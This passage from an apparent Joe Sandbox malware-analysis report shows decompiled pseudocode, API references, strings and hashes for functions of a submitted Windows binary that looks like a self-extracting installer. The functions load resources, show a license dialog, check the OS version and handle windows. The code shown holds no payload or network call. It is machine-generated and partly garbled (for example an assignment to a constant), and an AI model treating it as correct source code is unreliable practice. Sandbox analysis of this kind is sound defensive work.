								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E011D6CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x011d2aac
0x011d2ab7
0x011d2abc
0x011d2abe
0x011d2ac3
0x011d2ac6
0x011d2ac9
0x011d2ace
0x011d2ae6
0x011d2bdc
0x011d2bdc
0x011d2be0
0x00000000
0x00000000
0x011d2af2
0x011d2afc
0x011d2b00
0x011d2b05
0x011d2b05
0x011d2b0b
0x011d2bca
0x011d2bd1
0x011d2b11
0x011d2b18
0x011d2b26
0x011d2b99
0x011d2bc8
0x00000000
0x00000000
0x011d2b9b
0x011d2bae
0x011d2bb3
0x011d2bb5
0x011d2bb5
0x011d2bb8
0x011d2bb8
0x011d2bba
0x011d2bbb
0x00000000
0x011d2bb8
0x011d2b28
0x011d2b2e
0x011d2b33
0x011d2b39
0x011d2b3c
0x011d2b3c
0x011d2b3e
0x011d2b3f
0x011d2b55
0x011d2b5d
0x011d2b64
0x011d2b64
0x011d2b7a
0x011d2b7f
0x011d2b81
0x011d2b81
0x011d2b84
0x011d2b84
0x011d2b86
0x011d2b87
0x011d2bbf
0x011d2bc1
0x011d2bc1
0x011d2b26
0x011d2bda
0x011d2bda
0x011d2be6
0x011d2be6
0x011d2bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 011D2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 011D2AF2
CharNextA.USER32(?), ref: 011D2B12
CharUpperA.USER32 ref: 011D2B1E
CharPrevA.USER32(?,?), ref: 011D2B55
CharNextA.USER32(?), ref: 011D2BD4

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: ec4cec36d5b5bb2194f28909199934ba2202ef84bb465b4efef72ccee3ab9ed5
Instruction ID: 2b93f81c7e4c01e97726373cd3130b294502d803efd9fa5b4ff2213ba6da6833
Opcode Fuzzy Hash: ec4cec36d5b5bb2194f28909199934ba2202ef84bb465b4efef72ccee3ab9ed5
Instruction Fuzzy Hash: 15415B346052465FDF2E9F38D814AFD7FB99F46200F0400EAD8E287202DBB54E86CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011D43D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E011D43D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E011D6CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x011d43d0
0x011d43d8
0x011d43df
0x011d43e6
0x011d43ec
0x011d43f1
0x011d4400
0x011d4403
0x011d440b
0x011d4420
0x011d4429
0x011d4437
0x011d4444
0x011d4447
0x011d444d
0x011d4454
0x011d445b
0x011d4460
0x011d4461
0x011d4467
0x011d446f
0x011d4473
0x011d4473
0x011d4463
0x011d4463
0x011d4463
0x011d447a
0x011d4481
0x011d4484
0x011d448a
0x011d4492
0x011d4496
0x011d4496
0x011d4486
0x011d4486
0x011d4486
0x011d44b8

APIs

GetWindowRect.USER32(?,?), ref: 011D43F1
GetWindowRect.USER32(00000000,?), ref: 011D440B
GetDC.USER32(?), ref: 011D4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 011D442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 011D443A
ReleaseDC.USER32(?,00000000), ref: 011D4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001), ref: 011D44A2

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 89190ec68c04578feb35486d64e38ce4a389a0fb66563f9f69c7c115493e0c65
Instruction ID: db284915c3c8a46815dac4b71e32f8e9e9850c742f844c2485c2c1301d172943
Opcode Fuzzy Hash: 89190ec68c04578feb35486d64e38ce4a389a0fb66563f9f69c7c115493e0c65
Instruction Fuzzy Hash: B7312D32E01119AFCB18CFB8D9889EEBBB5EF89210F154169E815B3644DB306D45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011D6298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E011D6298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E011D171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x11d9124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x11da288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E011D171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E011D6CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x011d6298
0x011d62a0
0x011d62a7
0x011d62ad
0x011d62af
0x011d62bb
0x011d62c3
0x011d62c4
0x011d633b
0x011d633b
0x011d6345
0x011d634d
0x00000000
0x00000000
0x011d62da
0x011d62de
0x011d635f
0x011d6369
0x011d62e0
0x011d62e0
0x011d62e0
0x011d62e3
0x011d62e5
0x011d62e5
0x011d62e8
0x011d62e8
0x011d62ea
0x011d62eb
0x011d62ef
0x011d62f1
0x011d62f3
0x011d6302
0x011d6308
0x011d630d
0x011d6314
0x011d6314
0x011d6316
0x011d6319
0x011d6355
0x011d6357
0x011d631b
0x011d631b
0x011d6331
0x011d6334
0x011d6339
0x00000000
0x011d6339
0x011d6319
0x011d636b
0x011d637d
0x011d637d
0x00000000

APIs

Part of subcall function 011D171E: _vsnprintf.MSVCRT ref: 011D1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,011D51CA,00000004,00000024,011D2F71,?,00000002,00000000), ref: 011D62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,011D51CA,00000004,00000024,011D2F71,?,00000002,00000000), ref: 011D62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,011D51CA,00000004,00000024,011D2F71,?,00000002,00000000), ref: 011D631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 011D6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,011D51CA,00000004,00000024,011D2F71,?,00000002,00000000), ref: 011D6357

Strings

UPDFILE%lu, xrefs: 011D62B3, 011D6329

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 1b2e177dfc46648ab25debad0b3072895ad7cbb3684bcdbbace55693aed4353d
Instruction ID: 47fcbf38f94c09d1f43a6f20ee429efa93d841d9e9950ddbc5989d89c6836a09
Opcode Fuzzy Hash: 1b2e177dfc46648ab25debad0b3072895ad7cbb3684bcdbbace55693aed4353d
Instruction Fuzzy Hash: 3721E775A05219BBDB2C9FA5DC459FF7B7CFF44714B010229EA16A3201DB359942CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 011D681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E011D681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t19 ^ _t44;
				_t41 =  *0x11d81d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x11d81d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x11d81d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x11d1140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E011D66F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x11d81d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E011D6CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x011d681f
0x011d682a
0x011d6831
0x011d6836
0x011d683c
0x011d683e
0x011d6848
0x011d6851
0x011d685d
0x011d6864
0x011d6876
0x011d693a
0x011d693a
0x011d687c
0x011d687e
0x011d6885
0x00000000
0x011d68d6
0x011d68f4
0x011d6900
0x011d6902
0x011d690a
0x00000000
0x011d690c
0x011d690c
0x011d691c
0x00000000
0x011d691e
0x011d6924
0x011d692b
0x011d6932
0x00000000
0x00000000
0x00000000
0x011d692b
0x011d691c
0x011d690a
0x011d6885
0x011d6876
0x011d6951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 011D686E
GetSystemMetrics.USER32(0000004A), ref: 011D68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 011D68CC
RegQueryValueExA.ADVAPI32(?,011D1140,00000000,?,?,0000000C), ref: 011D68F4
RegCloseKey.ADVAPI32(?), ref: 011D6902

Part of subcall function 011D66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,011D691A), ref: 011D6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 011D68C2

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 35e118af548d055cfa9f59e99782adb73938f5888ea292ca3f414a05bfb537e8
Instruction ID: 67d3cb4a5908bef38395e558efa1c24a3eb5ab249b05192c595c6b09b382b098
Opcode Fuzzy Hash: 35e118af548d055cfa9f59e99782adb73938f5888ea292ca3f414a05bfb537e8
Instruction Fuzzy Hash: F6319131A02228DFDB39DF69DC44BEAB7B8EF45668F0401A5E95DA3140E7309A85CF52

Uniqueness

Uniqueness Score: -1.00%

Function 011D3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D3A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E011D468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x11d8d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E011D468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x11d8d4c, "<None>") == 0) {
							LocalFree( *0x11d8d4c);
							L9:
							 *0x11d9124 = 0;
							return 1;
						}
						_t9 = E011D6517(_t19, 0x7d1, 0, E011D3100, 0, 0);
						LocalFree( *0x11d8d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x11d9124 = 0x800704c7;
						L2:
						return 0;
					}
					E011D44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x11d8d4c);
					 *0x11d9124 = 0x80070714;
					goto L2;
				}
				E011D44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x11d9124 = E011D6285();
				goto L2;
			}

0x011d3a46
0x011d3a57
0x011d3a5d
0x011d3a63
0x011d3a6a
0x011d3a91
0x011d3a9a
0x011d3ad8
0x011d3b13
0x011d3b19
0x011d3b1b
0x00000000
0x011d3b21
0x011d3ae7
0x011d3af4
0x011d3afc
0x00000000
0x00000000
0x011d3afe
0x011d3a87
0x00000000
0x011d3a87
0x011d3aa8
0x011d3ab3
0x011d3ab9
0x00000000
0x011d3ab9
0x011d3a78
0x011d3a82
0x00000000

APIs

Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
Part of subcall function 011D468F: SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
Part of subcall function 011D468F: LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
Part of subcall function 011D468F: LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
Part of subcall function 011D468F: memcpy_s.MSVCRT ref: 011D46E5
Part of subcall function 011D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,011D2F64,?,00000002,00000000), ref: 011D3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 011D3AB3

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Part of subcall function 011D6285: GetLastError.KERNEL32(011D5BBC), ref: 011D6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 011D3AD0
LocalFree.KERNEL32 ref: 011D3B13

Part of subcall function 011D6517: FindResourceA.KERNEL32(011D0000,000007D6,00000005), ref: 011D652A
Part of subcall function 011D6517: LoadResource.KERNEL32(011D0000,00000000,?,?,011D2EE8,00000000,011D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 011D6538
Part of subcall function 011D6517: DialogBoxIndirectParamA.USER32(011D0000,00000000,00000547,011D19E0,00000000), ref: 011D6557
Part of subcall function 011D6517: FreeResource.KERNEL32(00000000,?,?,011D2EE8,00000000,011D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 011D6560

LocalFree.KERNEL32(00000000,011D3100,00000000,00000000), ref: 011D3AF4

Strings

<None>, xrefs: 011D3AC5
LICENSE, xrefs: 011D3A46

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 6d8f9df35e19d1037d119190c48c7ddeefae79d8aa63994b45bc0849eeb12d10
Instruction ID: 7ad4b8d53a1dfed0eab8195584b0c4a05e875afb36d95a3088765295ebe726d0
Opcode Fuzzy Hash: 6d8f9df35e19d1037d119190c48c7ddeefae79d8aa63994b45bc0849eeb12d10
Instruction Fuzzy Hash: 7611D3B0703211BBD73CAF3AAC09E1B7AB9EFD5750B10413EF562D6588DB7988408762

Uniqueness

Uniqueness Score: -1.00%

Function 011D24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E011D24E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E011D658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E011D6CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x011d24e0
0x011d24eb
0x011d24f2
0x011d24f7
0x011d2504
0x011d250e
0x011d251d
0x011d252c
0x011d2541
0x011d2546
0x011d2553
0x011d2555
0x011d2555
0x011d2546
0x011d256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 011D2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 011D252C
_lopen.KERNEL32(?,00000040), ref: 011D253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 011D254C
_lclose.KERNEL32(00000000), ref: 011D2555

Strings

wininit.ini, xrefs: 011D2510

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 229b2207e0cf06923fa300daea14eb2c29ba58e1809389a716789803ee764c20
Instruction ID: e6ad8168631f6e8f96fefcf1f43f9bf08fe371de870528c571eb8036568d2d2b
Opcode Fuzzy Hash: 229b2207e0cf06923fa300daea14eb2c29ba58e1809389a716789803ee764c20
Instruction Fuzzy Hash: D701923260212867D734DA69AC08EDB7B7CDF45750F400165FA59D3184DB749A81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 011D36EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E011D36EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x11d8184 = 1;
						 *0x11d8180 = 1;
						L13:
						 *0x11d9a40 = _t119;
						L14:
						__eflags =  *0x11d8a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E011D2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E011D2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x11d8a38 & 0x00000001;
											if(( *0x11d8a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("lenta");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E011D681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "lenta", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E011D67C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E011D28E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
